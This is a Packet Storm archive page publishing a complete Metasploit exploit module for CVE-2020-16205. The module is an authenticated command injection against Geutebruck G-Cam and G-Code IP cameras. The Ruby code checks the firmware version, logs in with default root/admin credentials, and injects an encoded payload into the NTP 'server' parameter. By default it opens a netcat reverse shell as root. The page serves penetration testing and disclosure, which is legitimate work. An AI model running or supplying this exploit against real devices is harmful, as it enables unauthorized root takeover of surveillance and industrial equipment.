Geutebruck testaction.cgi Remote Command Execution

Authored by Davy Douhine | Site metasploit.com

Posted Aug 17, 2020

This Metasploit module exploits an authenticated arbitrary command execution vulnerability within the 'server' GET parameter of the /uapi-cgi/testaction.cgi page of Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx, EFD-22xx, ETHC-22xx, and EWPC-22xx devices running firmware versions <= 1.12.0.25 as well as firmware versions 1.12.13.2 and 1.12.14.5 when the 'type' GET parameter is set to 'ntp'. Successful exploitation results in remote code execution as the root user.

tags | exploit, remote, arbitrary, cgi, root, code execution
advisories | CVE-2020-16205
SHA-256 | 36eafe3001f3ca469ca138d607db2a8d28a3cd271dba916710ce286aa162db48 Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Geutebruck testaction.cgi Remote Command Execution',
        'Description' => %q{
          This module exploits an authenticated arbitrary command execution vulnerability within the 'server'
          GET parameter of the /uapi-cgi/testaction.cgi page of Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx,
EFD-22xx,
          ETHC-22xx, and EWPC-22xx devices running firmware versions <= 1.12.0.25 as well as firmware
          versions 1.12.13.2 and 1.12.14.5 when the 'type' GET paramter is set to 'ntp'.
          Successful exploitation results in remote code execution as the root user.
        },

        'Author' =>
          [
            'Davy Douhine' # ddouhine
          ],
        'License' => MSF_LICENSE,
        'References' =>
          [
            [ 'CVE', '2020-16205' ],
            [ 'URL', 'http://geutebruck.com' ],
            [ 'URL', 'https://ics-cert.us-cert.gov/advisories/icsa-20-219-03' ],
            [ 'URL', 'https://www.randorisec.fr/s05e01-rce-on-geutebruck-ip-cameras/' ]
          ],
        'DisclosureDate' => 'May 20 2020',
        'Privileged' => true,
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_ARMLE],
        'Targets' => [
          [ 'Automatic Target', {} ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' =>
         {
           'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'
         }
      )
    )

    register_options(
      [
        OptString.new('HttpUsername', [ true, 'The username to authenticate as', 'root' ]),
        OptString.new('HttpPassword', [ true, 'The password for the specified username', 'admin' ]),
        OptString.new('TARGETURI', [true, 'The path to the testaction page', '/uapi-
cgi/admin/testaction.cgi']),
      ]
    )
  end

  def firmware
    begin
      res = send_request_cgi(
        'method' => 'GET',
        'uri' => '/brand.xml'
      )
      unless res
        vprint_error 'Connection failed'
        return CheckCode::Unknown
      end

      res_xml = res.get_xml_document
      @version = res_xml.at('//firmware').text
      return true
    end
  end

  def check
    result = firmware
    return result unless result == true

    version = Gem::Version.new(@version)
    vprint_status "Found Geutebruck version #{version}"
    if version < Gem::Version.new('1.12.0.25') || version == Gem::Version.new('1.12.13.2') || version ==
Gem::Version.new('1.12.14.5')
      return CheckCode::Appears
    end

    CheckCode::Safe
  end

  def exploit
    print_status("#{rhost}:#{rport} - Attempting to exploit...")
    send_request_cgi(
      {
        'method' => 'GET',
        'uri' => target_uri.path,
        'vars_get' => { 'type' => 'ntp', 'server' => "\n#{payload.encoded}" }
      }
    )
  end
end
```

Login or Register to add favorites

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

- Red Hat 150 files
- Ubuntu 68 files
- LiquidWorm 23 files
- Debian 16 files
- malvuln 11 files
- nu11secur1ty 11 files
- Gentoo 9 files
- Google Security Research 6 files
- Julien Ahrens 4 files
- T. Weber 4 files

File Tags

- ActiveX (932)
- Advisory (79,754)
- Arbitrary (15,694)
- BBS (2,859)
- Bypass (1,619)
- CGI (1,018)
- Code Execution (6,926)
- Conference (673)
- Cracker (840)
- CSRF (3,290)
- DoS (22,602)
- Encryption (2,349)
- Exploit (50,359)
- File Inclusion (4,165)
- File Upload (946)
- Firewall (821)
- Info Disclosure (2,660)
- Intrusion Detection (867)
- Java (2,899)
- JavaScript (821)
- Kernel (6,291)
- Local (14,201)
- Magazine (586)
- Overflow (12,419)
- Perl (1,418)
- PHP (5,093)
- Proof of Concept (2,291)
- Protocol (3,435)
- Python (1,467)
- Remote (30,044)
- Root (3,504)
- Ruby (594)
- Scanner (1,631)
- Security Tool (7,777)
- Shell (3,103)
- Shellcode (1,204)
- Sniffer (886)

File Archives

- December 2022
- November 2022
- October 2022
- September 2022
- August 2022
- July 2022
- June 2022
- May 2022
- April 2022
- March 2022
- February 2022
- January 2022
- Older

Systems

- AIX (426)
- Apple (1,926)
- BSD (370)
- CentOS (55)
- Cisco (1,917)
- Debian (6,634)
- Fedora (1,690)
- FreeBSD (1,242)
- Gentoo (4,272)
- HPUX (878)
- iOS (330)
- iPhone (108)
- IRIX (220)
- Juniper (67)
- Linux (44,315)
- Mac OS X (684)
- Mandriva (3,105)
- NetBSD (255)
- OpenBSD (479)
- RedHat (12,469)
- Slackware (941)
- Solaris (1,607)

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

© 2022 Packet Storm. All rights reserved.

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter

Subscribe to an RSS Feed